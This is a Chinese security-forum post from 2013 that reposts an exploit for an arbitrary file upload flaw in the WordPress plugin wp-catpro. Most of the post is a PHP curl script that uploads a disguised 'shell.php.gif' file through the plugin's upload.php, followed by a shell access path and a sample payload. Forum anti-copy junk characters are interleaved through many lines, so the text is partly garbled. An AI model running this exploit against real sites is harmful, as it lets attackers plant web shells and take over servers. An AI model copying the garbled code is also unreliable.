找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2493|回复: 0
打印 上一主题 下一主题

WordPress插件wp-catpro任意文件上传

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-27 20:12:43 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
0 b4 w/ j% R  }) p& K5 H#-----------------------------------------------------------------------: L4 e# {7 u( X" w
5 v' K; ]5 T+ J5 `: Y' m
作者  => Zikou-16
# u% _; ]$ S1 I" D: _邮箱 => zikou16x@gmail.com) _* l$ a) `' M/ e* |, X6 P
测试系统 : Windows 7 , Backtrack 5r3
, O: h: M! M: O5 L: d( x' m  T下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip. P# j5 u; T. J* K8 ~4 F
####
; }& @" V0 }  N- \0 r" V* V7 V 9 u6 K  Q0 V% g0 o! V5 U
#=> Exploit 信息:
8 u* i( }" d2 O8 g2 i: Z! R& T" e------------------
/ k( w1 F. J9 v; j! }3 u) ]  d' F# 攻击者可以上传 file/shell.php.gif0 r+ c" f" H: c9 T4 E" n
# ("jpg", "gif", "png")  // Allowed file extensions
  _, E; l7 W2 O- v, W# G# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment); G* }4 u: c! j/ m- M8 @
# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
* D8 ~. G; m$ b* r------------------& B2 p8 w) d/ ?* S! O& U  \

8 F4 S+ ~5 Z- A0 H' s#=> Exploit  {3 p' Y! [& e: J8 C
-----------; @$ J7 Q7 B6 I6 d8 M3 n  M( Q
<?php
  R+ g; g6 M$ T   t: w: b4 k  B3 ?
$uploadfile="zik.php.gif";) K0 E4 f- H1 @6 x/ T7 B
$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
" j/ u1 `: F8 P$ Z# Fcurl_setopt($ch, CURLOPT_POST, true);+ D: n0 u& C0 E( ^+ G& o
curl_setopt($ch, CURLOPT_POSTFIELDS,
# {# ]" h8 m7 B* B1 ]8 barray('Filedata'=>"@$uploadfile"," V4 a/ E1 I* c4 |$ a, E( b
'folder'=>'/wp-content/uploads/catpro/'));
0 D$ H  Z9 d$ V* s1 s' Pcurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
2 d9 i4 D4 u" x, Z, Z, S$postResult = curl_exec($ch);! E7 a! a! @9 Q+ j9 e( z9 h9 p
curl_close($ch);. V& z5 D  }4 t

' Q3 K5 o' W9 W: ~1 J5 s1 {1 Mprint "$postResult";
0 o, [% `. {' N- r , F! D7 @$ r% t1 b( a
Shell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
6 T% b# d  H% I) k, }) F6 o  ?>4 v) i0 E$ b( P3 X& c
<?php
, t# I; k0 E* `; d) Z2 B9 \7 \phpinfo();- x& ?4 j+ W" z1 d9 t" e
?>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表